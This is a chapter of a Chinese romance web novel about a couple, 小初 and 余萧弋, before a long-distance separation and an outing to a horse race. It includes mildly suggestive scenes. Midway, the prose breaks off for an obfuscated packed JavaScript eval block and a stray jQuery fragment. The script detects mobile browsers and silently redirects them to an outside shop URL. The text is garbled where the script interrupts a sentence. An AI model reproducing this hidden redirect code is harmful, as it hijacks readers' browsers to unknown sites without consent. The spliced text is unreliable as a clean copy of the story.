110.番外四[番外]

作品:《港岛春日

    当晚小初和余萧弋回到他们那个小家的时候,夜已经很深了。


    两小只睡得东倒西歪,毛绒玩具一样软绵绵,听见他们进门的声音也只是微微睁了睁眼,就换个姿势继续睡了。


    一副安全感十足的样子。


    小初喝了点酒,情感正脆弱,看见这个画面,实在没压制住心底的酸涩,下一秒,已经回身将自己埋进了余萧弋的怀中。


    正在挂两个人外套的余萧弋被她突如其来的动作和感情吓一跳,身体蓦地僵住。


    “怎么了,Babe?”他抚了抚她的头发,柔声问道。


    “没事。”小初的声音有些发闷,“只是觉得自己好残忍,就这么把港港和Enzo从你身边带走,跟在你的心上挖走一块肉有什么分别?它们那么依赖你,你也那么爱它们。”


    “放心。”余萧弋安慰着,“我的心会跟着你们一块走,所以一直会是完整的。”


    小初抬头,泪眼朦胧看着他,“你又哄我。”


    “我说真的。”


    他这样说,她反而更难过。


    心是完整的,那缺了一颗心的他的人呢?


    “余萧弋,余萧弋。”小初低声重复着他的名字,所有的情绪都糅杂在了一起,还没真正分开,思念就已在她胸腔泛滥成灾。


    “嗯,我在呢。”余萧弋把裤子口袋里车钥匙放在玄关的柜子上,俯身下去,帮她把高跟鞋脱下来,又把拖鞋放在她面前,哄道,“穿好。”


    小初并没有醉得很厉害,意志力却在他的温柔体贴中沉沦下去,“不想穿。”


    他似是没听懂,“不想穿什么?”


    “拖鞋。”她解释,“身体好燥,地板凉凉的很舒服。”


    余萧弋有些无奈,“都说了不让你喝那么多酒,自己什么酒量不清楚?”


    小初说:“你之前只说不许在没有你的场合喝酒,今天又不算,况且我也只喝了一点点。”


    余萧弋愣了愣,继而用指尖点了点她的额头,“这么伶牙俐齿,的确没醉。”


    她扬了扬眉,“我怎么可能在你家人面前丢你的脸。”


    “没有丢脸,和我在一起你就永远恣意活着就行,不用考虑太多。”余萧弋拥住她肩膀,“不想穿拖鞋,那就不穿。”


    小初心底一阵熨帖,光脚踩在地板上。


    果然很舒服。


    她露出一个得逞的笑容,“恣意妄为的恣意吗?”


    余萧弋笑,“当然。”


    两人来到客厅,小初就伏在了沙发的抱枕上。没一会儿,一杯水就递到了唇边。


    他温声,“喝点水,然后好好睡一觉。”


    “哦。”小初伸手接过。


    不知是不是怕她拿不稳杯子,他的掌心又覆过来,就这么掌控着节奏,喂了她半杯水。


    小初抬眸,两人的视线胶着在一起。


    半晌,空气中都是她小心吞咽的声音。


    她被他深邃的眼神看得有些莫名紧张,一不小心,水顺着嘴角流了下来,人也差点被呛到。


    “慢点。”余萧弋把杯子放到茶几上,认真用纸巾帮她把弄湿的地方都擦了擦,才拉过她的手,“还说自己没醉,走啦,刷牙洗脸睡觉。”


    小初没动,只安静地看着他。


    “怎么了?”余萧弋露出一个困惑的表情,“还不想睡吗?”


    “不是。”小初神色迷蒙地用指尖戳了戳他裤子口袋的边缘,“我要那个,Theo 余,给我。”


    余萧弋不敢相信自己看到了什么又听到了什么,脑子有那么一瞬间甚至是空白的。


    反应过来后,整个人已经背着她转过了身去,半晌,就那样僵在那里,一动未动。


    小初不确定空气里传来的是不是他粗重的呼吸,她扯了扯他的衣角,有些明知故问,“Theo余,你怎么了?”


    “你说呢?”他稍稍侧了侧眸,没好气地睨了她一眼,“方太初,我是不是对你的引导过了头?”


    小初想起在他家影音室里他第一次教她如何取悦自己的情形,一阵疯狂心跳。


    他当然是个很好的伴侣和引导者。除了他,从没有人告诉过她女孩子也可以正视自己的欲望,并永远不必为此羞耻。


    所以,每次她才会那么顺从,任他把自己弯折成各种形状,任他肆意在她耳边低哑而性感地说着一些只有在私密时刻才会说出口的Sweet Talk,比如,“喜欢被哥哥这样吗?”


    ——喜欢的。


    对那样对待,她很愉悦。


    和心意相通的人做这些事对她而言已经不是一种迎合,而是精神和身体上的双重享受。


    爱他就是悦己这件事,想通之后,她就像终于做出了一道步骤繁琐、原理复杂的证明题,整个人都轻松了。


    即便如此,她还是不想在他面前暴露自己太多心事,于是装作无知无觉的模样问道:“引导什么?”


    “……”余萧弋不知道该说些什么,只问:“你是不是醉到已经忘了自己是谁了?”


    小初抿唇,坚持己见,“我说了我没醉。”


    “你已经开始说胡话了,小姐!”余萧弋忽地回身扣住她肩膀,“你还知道我是谁吗?”


    小初迷醉地弯了弯眼角,“你是没听见我刚刚喊你名字吗?”


    余萧弋咬牙,“喊我名字也不行!下次再有同样的场景对面的人管你喊的是谁的名字!你这样,我怎么放心和你异地恋?”


    他越想越气,俯下身来直视她的眼睛,“方太初,你知不知道你这个样子,有多让人难以抗拒?”


    小初思考了一下,表情无辜,“可你就在抗拒我啊。”


    余萧弋的表情因为这句话泛起了一点只有他自己察觉到的涟漪。


    他好像明白她在做什么了。


    小初极为认真地看着他,并不打算放过他一丝反应。


    余萧弋叹息一声,“Babe,我不是在抗拒你,我只是在克制我自己。”


    果然。


    小初的眉心微不可察地动了动,她就知道,他会拿这个来惩罚她。


    “为什么要克制?”


    “为了保护你。”


    她佯装困惑,用力将嘴角的笑意压下去,“我只是想跟你要一下绣着你名字的那个手帕而已,你想的是什么?”


    “……”明知道她在肆无忌惮逗弄他玩,偏偏,他又拿她没有任何办法。


    余萧弋不想拆穿她,只回了一个意味深长又无奈的眼神过去。


    小初仍是笑,再次伸出手,“所以给我吧。”她顿了顿,“绣着你名字的那个手帕,我要带着它去南太平洋,和它一块在阳光和微风中无所事事地发呆。”


    余萧弋万没想到她会这么说,瞬间陷入酸涩又潮湿的悲伤里,眼尾红到不能再红,怔了半晌都没说话。


    小初没有猜错,当晚,他克制得简直像被改写了情感和欲望的代码。好几次,她都主动朝他亲过去了,最终,他也只是温柔地摸了摸她的头发,更紧地将她抱住而已。


    一整夜无事发生。


    萧文然是个行动派,第二天还不到十点,送钢琴的工人就已经按响了家里的门铃。彼时,小初和余萧弋甚至还没有吃完他们的早午饭。


    余萧弋指挥对方把琴放在一扇镂空格纹屏风后面,这样,弹琴的时候就可以看到露台外面的海了。


    钢琴温润的木色和家里调性极为适配,仿佛它本来就应该属于这里似的,就连小初都忍不住拍手称赞,并调侃余萧弋:“文然阿姨如此偏爱你,回头妹妹真的要伤心了。”


    余萧弋笑:“不会的,余萧盈和你差不多。”


    小初没太明白:“什么差不多?是格局吗?”


    “是运动天赋太好,其他方面就难免有所欠缺。”余萧弋防御性地后退了一步,嘴角高高扬起,“所以,她不会在意这个东西的,她就没有这个艺术审美。”


    “Theo余,你就尽情地惹我吧。”小初好整以暇地喝了口热牛奶,“总有你后悔的时候。”


    余萧弋马上认输,“我现在就后悔了。”


    她嘴角沾了白色液体的样子很令人浮想联翩,他情不自禁地贴上来,先是蹭了蹭她的鼻尖,又顺势亲她,不想却被她用手里的西多士挡住,“晚了。”


    两人荒诞地隔着一片吐司对视了一会儿。


    气氛逐渐暧昧不清。


    但时间并没有给他们继续暧昧下去的机会,早在一个星期前,他们就答应了余绍鸿今天陪他去马场看比赛,因为作为马主,他名下的爱驹“热带风暴”也会在比赛中亮相。


    来港这么久,小初还没有去看过赛马,于是余绍鸿问的时候,她没多想就应了下来,直至两三天后某个瞬间,她才意识到余珺彦很可能也会去。


    上次在医院不欢而散后,他们就没再见过面,可每次一想起他,她就会控制不住地心悸和烦躁,身体发出的信号指令很清晰,她并不太想见到他。


    但答应都答应了,余绍鸿毕竟是长辈,临时爽约这种失礼的事,她做不出。


    最后还是余萧弋的安慰化解了她:“你管他呢,就算这次不见,以后还是会在其他场合碰见的。Babe你要知道,对一个人真正的无视不是逃避,而是哪怕他就站在你面前,你的心情也不会因他产生一丝波动了才对。”他拥住她,温柔地吻着她的头发,“虽然我知道,这件事在你心里很难过去。”


    小初一时酸涩难当,差点在他怀中落下泪来。


    然后下一秒,她就听见他在头顶又加了句,“所以方太初,这段时间你其实一直在心里反复想着他的,是吗?他对你而言就那么重要吗?”


    理智瞬间回归,她实在忍无可忍,对着他的唇就吻了下去。


    她吻得很深,直至他喘不过气来才停,可即便如此,他脸上那抹意味不明的笑意还是勾了她的心脏一小下。


    然后她才惊觉,她好像又上了他的当,一不小心又让他餍足了一次。


    无论怎样,距离赛马开场还有两个半小时,很多东西已避无可避


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167483|182866||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,她现在能选的,只剩下面对了。


    两人一块到衣帽间换衣服。


    余萧弋问小初,“方小姐打算穿什么?”


    小初有些拿不定主意,“出席这样的场合有什么约定成俗的着装礼仪吗?”


    余萧弋垂眸轻声,“你可以极尽隆重地盛装。”


    她很怀疑他在蛊惑她做他想让她做的事。


    没有人比他更擅长掌控人心。


    “你要想好啊Theo余,我要真像参加化装舞会那样穿着夸张的大蓬蓬裙出现在记者镜头面前,丢脸的也是你。”


    余萧弋认真想象了一下那个的画面,不知怎么,脑海里竟然都是盛放的白色玫瑰的影子,热烈,馥郁,纯洁,每个花瓣都散发着无尽的生命力。


    很神奇,自从认识她,他所有流动的情绪都有了实质的承载,连幸福都变得很具体。


    所以此刻的他很确定,即便她真的那么穿了,他也只会挑一套最复古的西装配合她所有的随性和不羁。


    于是他笑:“放心,我只会得到全城艳羡的目光。”


    小初对此不予置评,更不想再听他胡言乱语,很快,随着指尖在一排衣服上缓缓滑过,她就为自己挑了件剪裁很利落的黑色连衣裙。


    相比穿大蓬蓬裙扮洋娃娃,她更希望自己看上去让人有距离感一点,自从上次跟爸妈上了那个访谈节目,她就被公众贴上了清冷和高智的标签,如此也好,本来她也没想过浪费时间讨好全世界。


    在记者面前拥有臭脸的权利只会让她觉得痛快。


    “我穿这个,怎么样?”小初扯着那条裙子的裙角,很期待他接下来变换口风的说辞,勾起的唇角带着几分不加掩藏的戏谑,“还会让你得到全城的艳羡吗?”


    她这个样子,灵动和恶劣都到了极致,余萧弋感觉到自己身体的微妙变化,只能尽量发散了思维,不敢再朝那个方向细想。


    “这下可能就不止全城了。”


    小初目瞪口呆。


    知道他向来很有些口才,却也没想到这个程度。


    脑子里某个念头冒出来,怎么都压制不住,还没来得及多想,她已经向前一步光脚踩在了他的脚背上,动作很轻,侵略性却很强,“余萧弋,以后你身边那个人不是我了,你也会这样给她提供同样的情绪价值吗?”


    余萧弋蹙了蹙眉,掀眸凝视了一会儿,声音淡下来,“方太初,你知不知道你在说些什么?”


    “当然。”小初有些偏执,“我们还年轻,未来变数那么大。说不定,大洋彼岸会出现一个比我方太初还令你痴迷的女人呢,从概率学上来说,这种可能性并不低。你有没有想过,或许你不是喜欢我,只是喜欢我这种类型?我还没那么自负,觉得自己是全世界独一无二的存在,总有人会比我更潇洒,更热烈也更耀眼夺目。而她,还拥有着与你之间我无法企及的地理距离。”


    余萧弋蜷缩了一下被她踩着的脚趾,“之前是谁说的太平洋挡不住真爱来着?”


    “我说的是挡不住我的,又没说你。男人是最善变的动物,不是吗?”


    “OK,那我干脆不要去美国好了。”


    小初眯了眯眸子,脚下的力度蓦地加重,“所以你也害怕自己会变心?”


    余萧弋有些没好气,“小姐,你讲理吗?”


    小初别开视线不看他,声音渐渐低下来,“余萧弋,你赢了。现在患得患失的那个人变成我了。狐狸果然是擅长诱捕猎物的动物,我的另外半点心也快失守了,你还要我怎么跟你讲理?”


    余萧弋长舒口气,一颗心绵软下来。


    “那我不去美国了好吗?”他捧住她的脸,“Babe,我是认真的。”


    小初愣住。


    理智再次回归,“不行不行,你敢不去,我会生气的,后果很严重的那种,你要考虑清楚哦。”


    “……”余萧弋重重将自己的唇在她额头上印了印,“好啦,时间不早了,再不换衣服要来不及了。”


    “哦。”


    小初化好妆出来的时候,发现余萧弋已经收拾好自己了,不仅发型用心打理过,左耳耳畔还别了个很闪的钻石耳骨夹,莫名有些痞。


    不知是不是为了和她保持同一种格调,他也穿了身黑色西装,衣服倒是没有什么特别之处,只是剪裁很利落,版型很修身,衬得他长身玉立的,好看得很有些过分。


    从来只觉得自己是颗恒星的她,第一次被另一个天体的光芒刺得睁不开眼。


    “Theo余,所以我戴什么首饰?”


    “就戴昨天那条项链好不好?还有之前那副月亮的耳饰?”余萧弋的声音像风吹过落叶,带着些许的性感,“因为奶奶也会去,我想你毫无保留地,在他们面前宣誓对我的主权。”


    小初的脊背在他似乎带着某种坚持的目光里,僵了一僵。


    “为什么?”


    “因为前一段时间,他们都以为咱们俩分手了呗。”


    “……”


    她到底多什么嘴啊。